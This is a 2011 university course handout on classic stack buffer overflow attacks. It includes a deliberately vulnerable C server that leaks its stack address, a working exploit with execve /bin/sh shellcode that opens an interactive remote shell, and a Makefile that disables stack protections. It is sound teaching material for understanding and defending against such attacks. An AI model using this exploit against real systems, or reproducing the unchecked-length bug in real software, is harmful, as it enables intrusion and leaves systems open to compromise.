

Apr 28, 11 15:24

l27-handout.txt

Page 1/1

```

1 Handout for CS 372H
2 Class 27
3 28 April 2011
4
5 1. Introduction to buffer overflow attacks
6
7     There are many ways to attack computers. Today we study the
8     "classic" method.
9
10    This method has been adapted to many different types of attacks, but
11    the concepts are similar.
12
13    We study this attack not to teach you all to become hackers but
14    rather to educate you about vulnerabilities: what they are, how they
15    work, and how to defend against them. Please remember: _although the
16    approaches used to break into computers are very interesting,
17    breaking in to a computer that you do not own is, in most cases, a
18    criminal act_.
19
20 2. Let's examine a vulnerable server, buggy-server.c
21
22 3. Now let's examine how an unscrupulous element (a hacker, a script
23    kiddie, a worm, etc.) might exploit the server.
24
25
26 Thanks to Russ Cox for the code

```

Apr 27, 11 1:53

buggy-server.c

Page 1/2

```

1  /*
2   * Author: Russ Cox, rsc@swtch.com
3   * Date: April 28, 2006
4   *
5   * (Comments by MW.)
6   *
7   * A very simple server that expects a message of the form:
8   *   <length-of-msg><msg>
9   * and then prints to stdout (i.e., fd = 1) whatever 'msg' the client
10  * supplied.
11  *
12  * The server expects its input on stdin (fd = 0) and writes its
13  * output to stdout (fd = 1). The intent is that these fds actually
14  * correspond to a TCP connection, which intent is realized via the
15  * program tcpserve.
16  *
17  * The server only allocates enough room for 100 bytes for 'msg'.
18  * However, the server does not check that the length of 'msg' is
19  * in fact less than 100 bytes, which is a (common) bug that an
20  * attacker can exploit.
21  *
22  * Ridiculously, this server *tells* the client where in memory
23  * the current stack is located.
24  *
25  */
26 #include <stdio.h>
27 #include <stdlib.h>
28 #include <string.h>
29 #include <assert.h>
30
31 void
32 serve(void)
33 {
34     int n;
35     char buf[100];
36     char* ebp;
37
38     memset(buf, 0, sizeof buf);
39
40     /*
41      * The server is obliging and actually tells the client where
42      * in memory 'buf' is located.
43      */
44     fprintf(stdout, "the address of the buffer is %p\n", buf);
45
46     /* This next line actually gets stdout to the client */
47     fflush(stdout);
48
49     /* Read in the length from the client; store the length in 'n' */
50     fread(&n, 1, sizeof n, stdin);
51
52     /*
53      * The return address lives directly above where the frame
54      * pointer, ebp, is pointing. This area of memory is 120 bytes
55      * past the start of 'buf', as we learn by examining a
56      * disassembly of buggy-server. Below we illustrate that ebp+4
57      * and buf+120 are holding the same data. To print out the
58      * return address, we use buf[120].
59      */
60
61     asm volatile("movl %%ebp, %0" : "=r" (ebp));
62     assert(*(int*)(ebp+4) == *(int*)(buf+120));
63
64     fprintf(stdout, "My return address is: %x\n", *(int*)(buf+120));
65     fflush(stdout);
66
67     /* Now read in n bytes from the client. */
68     fread(buf, 1, n, stdin);
69
70     fprintf(stdout, "My return address is now: %x\n", *(int*)(buf+120));
71     fflush(stdout);
72
73     /*

```

Apr 27, 11 1:53

buggy-server.c

Page 2/2

```

74      * This server is very simple so just tells the client whatever
75      * the client gave the server. A real server would process buf
76      * somehow.
77      */
78      fprintf(stdout, "you gave me: %s\n", buf);
79      fflush(stdout);
80  }
81
82  int
83  main(void)
84  {
85      serve();
86      return 0;
87  }

```

Apr 26, 11 13:39

honest-client.c

Page 1/1

```

1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <unistd.h>
4  #include <errno.h>
5  #include <string.h>
6  #include <sys/types.h>
7  #include <sys/socket.h>
8  #include <netinet/in.h>
9  #include <netinet/tcp.h>
10 #include <arpa/inet.h>
11
12 int dial(uint32_t, uint16_t);
13
14 int
15 main(int argc, char** argv)
16 {
17     char buf[400];
18     int n, fd, addr;
19     uint32_t server_ip_addr; uint16_t server_port;
20     char* msg;
21
22     if (argc != 3) {
23         fprintf(stderr, "usage: %s ip_addr port\n", argv[0]);
24         exit(1);
25     }
26
27     server_ip_addr = inet_addr(argv[1]);
28     server_port = htons(atoi(argv[2]));
29
30     if ((fd = dial(server_ip_addr, server_port)) < 0) {
31         fprintf(stderr, "dial: %s\n", strerror(errno));
32         exit(1);
33     }
34
35     if ( (n = read(fd, buf, sizeof buf-1)) < 0) {
36         fprintf(stderr, "socket read: %s\n", strerror(errno));
37         exit(1);
38     }
39     buf[n] = 0;
40     if (strncmp(buf, "the address of the buffer is ", 29) != 0) {
41         fprintf(stderr, "bad message: %s\n", buf);
42         exit(1);
43     }
44     addr = strtoul(buf+29, 0, 0);
45     fprintf(stderr, "remote buffer is %x\n", addr);
46
47     msg = "hello, sad, vulnerable, exploitable server.";
48     n = strlen(msg);
49     write(fd, &n, 4);
50     write(fd, msg, n);
51
52     while((n = read(fd, buf, sizeof buf)) > 0)
53         write(1, buf, n);
54
55     return 0;
56 }
57
58 int
59 dial(uint32_t dest_ip, uint16_t dest_port) {
60     int fd;
61     struct sockaddr_in sin;
62
63     if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
64
65     memset(&sin, 0, sizeof sin);
66     sin.sin_family = AF_INET;
67     sin.sin_port = dest_port;
68     sin.sin_addr.s_addr = dest_ip;
69
70     /* begin a TCP connection to the server */
71     if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0) return -1;
72     return fd;
73 }

```

Apr 26, 11 13:39

tcpserve.c

Page 1/3

```

1  /*
2  * Author: Russ Cox, rsc@csail.mit.edu
3  * Date: April 28, 2006
4  *
5  * (Comments by MW.)
6  *
7  * This program is a simplified 'inetd'. That is, this program takes some
8  * other program, 'prog', and runs prog "over the network", by:
9  *
10 * --listening to a particular TCP port, p
11 * --creating a new TCP connection every time a client connects
12 *   on p
13 * --running a new instance of prog, where the stdin and stdout for
14 *   the new process are actually the new TCP connection
15 *
16 * In this way, 'prog' can talk to a TCP client without ever "realizing"
17 * that it is talking over the network. This "replacement" of the usual
18 * values of stdin and stdout with a network connection is exactly what
19 * happens with shell pipes. With pipes, a process's stdin or stdout
20 * becomes the pipe, via the dup2() system call.
21 */
22 #include <stdio.h>
23 #include <stdlib.h>
24 #include <unistd.h>
25 #include <string.h>
26 #include <netdb.h>
27 #include <signal.h>
28 #include <fcntl.h>
29 #include <errno.h>
30 #include <sys/types.h>
31 #include <sys/socket.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34
35 char **execargs;
36
37 /*
38 * This function contains boilerplate code for setting up a
39 * TCP server. It's called "announce" because, if a network does not
40 * filter ICMP messages, it is clear whether or
41 * not some service is listening on the given port.
42 */
43 int
44 announce(int port)
45 {
46     int fd, n;
47     struct sockaddr_in sin;
48
49     memset(&sin, 0, sizeof sin);
50     sin.sin_family = AF_INET;
51     sin.sin_port = htons(port);
52     sin.sin_addr.s_addr = htonl(INADDR_ANY);
53
54     if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
55         perror("socket");
56         return -1;
57     }
58
59     n = 1;
60     if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0){
61         perror("reuseaddr");
62         close(fd);
63         return -1;
64     }
65
66     fcntl(fd, F_SETFD, 1);
67     if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
68         perror("bind");
69         close(fd);
70         return -1;
71     }
72     if(listen(fd, 10) < 0){
73         perror("listen");

```

Apr 26, 11 13:39

tcpserve.c

Page 2/3

```

74     close(fd);
75     return -1;
76 }
77     return fd;
78 }
79
80 int
81 startprog(int fd)
82 {
83     /*
84     * Here is where the replacement of the usual stdin and stdout
85     * happen. The next three lines say, "Ignore whatever value we used to
86     * have for stdin, stdout, and stderr, and replace those three with
87     * the network connection."
88     */
89     dup2(fd, 0);
90     dup2(fd, 1);
91     dup2(fd, 2);
92     if(fd > 2)
93         close(fd);
94
95     /* Now run 'prog' */
96     execvp(execargs[0], execargs);
97
98     /*
99     * If the exec was successful, tcpserve will not make it to this
100    * line.
101    */
102    printf("exec %s: %s\n", execargs[0], strerror(errno));
103    fflush(stdout);
104    exit(0);
105 }
106
107 int
108 main(int argc, char **argv)
109 {
110     int afd, fd, port;
111     struct sockaddr_in sin;
112     struct sigaction sa;
113     socklen_t sn;
114
115     if(argc < 3 || argv[1][0] == '-') {
116         Usage:
117             fprintf(stderr, "usage: tcpserve port prog [args...]\n");
118         return 1;
119     }
120
121     port = atoi(argv[1]);
122     if(port == 0)
123         goto Usage;
124     execargs = argv+2;
125
126     sa.sa_handler = SIG_IGN;
127     sa.sa_flags = SA_NOCLDSTOP|SA_NOCLDWAIT;
128     sigaction(SIGCHLD, &sa, 0);
129
130     if((afd = announce(port)) < 0)
131         return 1;
132
133     sn = sizeof sin;
134     while((fd = accept(afd, (struct sockaddr*)&sin, &sn)) >= 0){
135
136         /*
137         * At this point, 'fd' is the file descriptor that
138         * corresponds to the new TCP connection. The next
139         * line forks off a child process to handle this TCP
140         * connection. That child process will eventually become
141         * 'prog'.
142         */
143         switch(fork()){
144             case -1:
145                 fprintf(stderr, "fork: %s\n", strerror(errno));
146                 close(fd);

```

Apr 26, 11 13:39

tcpserve.c

Page 3/3

```
147         continue;
148     case 0:
149         /* this case is executed by the child process */
150         startprog(fd);
151         _exit(1);
152     }
153     close(fd);
154 }
155 return 0;
156 }
```

Apr 28, 11 15:39

exploit.c

Page 1/3

```

1  /*
2  * Author: Russ Cox, rsc@swtch.com
3  * Date: April 28, 2006
4  *
5  * (Some very minor modifications by MW, as well as most comments; MW is
6  * responsible for any errors.)
7  *
8  * This program exploits the server buggy-server.c. It works by taking
9  * advantage of the facts that (1) the server has told the client (i.e., us)
10 * the address of its stack and (2) the server is sloppy and does not check
11 * the length of the message to see whether the message can fit in the buffer.
12 *
13 * The exploit sends enough data to overwrite the return address in the
14 * server's current stack frame. That return address will be overwritten to
15 * point to the very buffer we are supplying to the server, which very buffer
16 * contains machine instructions!! The particular machine instructions
17 * cause the server to exec a shell, which means that the server process
18 * will be replaced by a shell, and the exploit will thus have "broken into"
19 * the server.
20 */
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <unistd.h>
24 #include <errno.h>
25 #include <string.h>
26 #include <sys/types.h>
27 #include <sys/socket.h>
28 #include <netinet/in.h>
29 #include <netinet/tcp.h>
30 #include <arpa/inet.h>
31
32 /*
33 * This is a simple assembly program to exec a shell. The program
34 * is incomplete, though. We cannot complete it until the server obliges
35 * by telling us where its stack is located.
36 */
37
38 char shellcode[] =
39     "\xb8\x0b\x00\x00\x00" /* movl $11, %eax; load the code for 'exec' */
40     "\xbb\x00\x00\x00\x00" /* movl $0, %ebx; INCOMPLETE */
41     "\xb9\x00\x00\x00\x00" /* movl $0, %ecx; INCOMPLETE */
42     "\xba\x00\x00\x00\x00" /* movl $0, %edx; INCOMPLETE */
43     "\xcd\x80" /* int $0x80; do whatever system call is given by %eax */
44     "/bin/sh\0" /* "/bin/sh\0"; the program we will exec */
45     "-i\0" /* "-i\0"; the argument to the program */
46     "\x00\x00\x00\x00" /* 0; INCOMPLETE. will be address of string "/bin/sh" */
47     "\x00\x00\x00\x00" /* 0; INCOMPLETE. will be address of string "-i" */
48     "\x00\x00\x00\x00" /* 0 */
49 ;
50
51 enum
52 {
53     /* offsets into assembly */
54     MovEbx = 6, /* constant moved into ebx */
55     MovEcx = 11, /* ... into ecx */
56     MovEdx = 16, /* ... into edx */
57     Arg0 = 22, /* string arg0 ("/bin/sh") */
58     Arg1 = 30, /* string arg1 ("-i") */
59     Arg0Ptr = 33, /* ptr to arg0 (==argv[0]) */
60     Arg1Ptr = 37, /* ptr to arg1 (==argv[1]) */
61     Arg2Ptr = 41 /* zero (==arg[2]) */
62 };
63
64 enum
65 {
66     REMOTE_BUF_LEN = 100,
67     NCOPIES = 24
68 };
69
70 int dial(uint32_t, uint16_t);
71
72 int
73 main(int argc, char** argv)

```

Thursday April 28, 2011

demo-src/exploit.c

Apr 28, 11 15:39

exploit.c

Page 2/3

```

74     char helpfulinfo[100];
75     char msg[REMOTE_BUF_LEN + NCOPIES*4];
76     int i, n, fd, addr;
77     uint32_t victim_ip_addr;
78     uint16_t victim_port;
79
80     if (argc != 3) {
81         fprintf(stderr, "usage: exploit ip_addr port\n");
82         exit(1);
83     }
84
85     victim_ip_addr = inet_addr(argv[1]);
86     victim_port = htons(atoi(argv[2]));
87
88     fd = dial(victim_ip_addr, victim_port);
89     if(fd < 0){
90         fprintf(stderr, "dial: %s\n", strerror(errno));
91         exit(1);
92     }
93
94     /*
95     * this line reads the line from the server wherein the server
96     * tells the client where its stack is located. (thank you,
97     * server!)
98     */
99     n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
100    if(n < 0){
101        fprintf(stderr, "socket read: %s\n", strerror(errno));
102        exit(1);
103    }
104    /* null-terminate our copy of the helpful information */
105    helpfulinfo[n] = 0;
106
107    /*
108    * check to make sure that the server gave us the helpful
109    * information we were expecting.
110    */
111    if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
112        fprintf(stderr, "bad message: %s\n", helpfulinfo);
113        exit(1);
114    }
115
116    /*
117    * Pull out the actual address where the server's buf is stored.
118    * we use this address below, as we construct our assembly code.
119    */
120    addr = strtoul(helpfulinfo+29, 0, 0);
121    fprintf(stderr, "remote buffer is at address %x\n", addr);
122
123    /*
124    * Here, we construct the contents of msg. We'll copy the
125    * shell code into msg and also "fill out" this little assembly
126    * program with some needed constants.
127    */
128    memmove(msg, shellcode, sizeof shellcode);
129
130    /*
131    * fill in the arguments to exec. The first argument is a
132    * pointer to the name of the program to execute, so we fill in
133    * the address of the string, "/bin/sh".
134    */
135    *(int*)(msg+MovEbx) = addr+Arg0;
136
137    /*
138    * The second argument is a pointer to the argv array (which is
139    * itself an array of pointers) that the shell will be passed.
140    * This array is currently not filled in, but we can still put a
141    * pointer to the array in the shellcode.
142    */
143    *(int*)(msg+MovEcx) = addr+Arg0Ptr;
144
145    /* The third argument is the address of a location that holds 0 */
146    *(int*)(msg+MovEdx) = addr+Arg2Ptr;

```

1/2

Apr 28, 11 15:39

exploit.c

Page 3/3

```

147
148 /*
149  * The array of addresses mentioned above are the arguments that
150  * /bin/sh should begin with. In our case, /bin/sh only begins
151  * with its own name and "-i", which means "interactive". These
152  * lines load the 'argv' array.
153  */
154 *(int*)(msg+Arg0Ptr) = addr+Arg0;
155 *(int*)(msg+Arg1Ptr) = addr+Arg1;
156
157 /*
158  * This line is one of the keys -- it places NCOPIES different copies
159  * of our desired return address, which is the start of the message
160  * in the server's address space. We use multiple copies in the hope
161  * that one of them overwrites the return address on the stack. We
162  * could have used more copies or fewer.
163  */
164 for(i=0; i<NCOPIES; i++)
165     *(int*)(msg + REMOTE_BUF_LEN + i*4) = addr;
166
167 n = REMOTE_BUF_LEN + NCOPIES*4;
168 /* Tell the server how long our message is. */
169 write(fd, &n, 4);
170 /* And now send the message, thereby smashing the server's stack.*/
171 write(fd, msg, n);
172
173 /* These next lines:
174  * (1) read from the client's stdin, and write to the network
175  * connection (which should now have a shell on the other
176  * end);
177  * (2) read from the network connection, and write to the
178  * client's stdout.
179  *
180  * In other words, these lines take care of the I/O for the
181  * shell that is running on the server. In this way, we on the
182  * client can control the shell that is running on the server.
183  */
184 switch(fork()){
185 case 0:
186     while((n = read(0, msg, sizeof msg)) > 0)
187         write(fd, msg, n);
188     fprintf(stderr, "eof from local\n");
189     break;
190 default:
191     while((n = read(fd, msg, sizeof msg)) > 0)
192         write(1, msg, n);
193     fprintf(stderr, "eof from remote\n");
194     break;
195 }
196 return 0;
197 }
198
199 /* boilerplate networking code for initiating a TCP connection */
200 int
201 dial(uint32_t dest_ip, uint16_t dest_port)
202 {
203     int fd;
204     struct sockaddr_in sin;
205
206     if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
207         return -1;
208
209     memset(&sin, 0, sizeof sin);
210     sin.sin_family = AF_INET;
211     sin.sin_port = dest_port;
212     sin.sin_addr.s_addr = dest_ip;
213
214
215     /* begin a TCP connection to the victim */
216     if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
217         return -1;
218     return fd;
219 }

```

Apr 27, 11 1:54

Makefile

Page 1/1

```

1 all: honest-client exploit buggy-server tcpserve
2
3 % : %.c
4 gcc -g -Wall -z execstack -fno-stack-protector -o $@ $<
5
6 clean:
7 rm -f honest-client exploit buggy-server tcpserve

```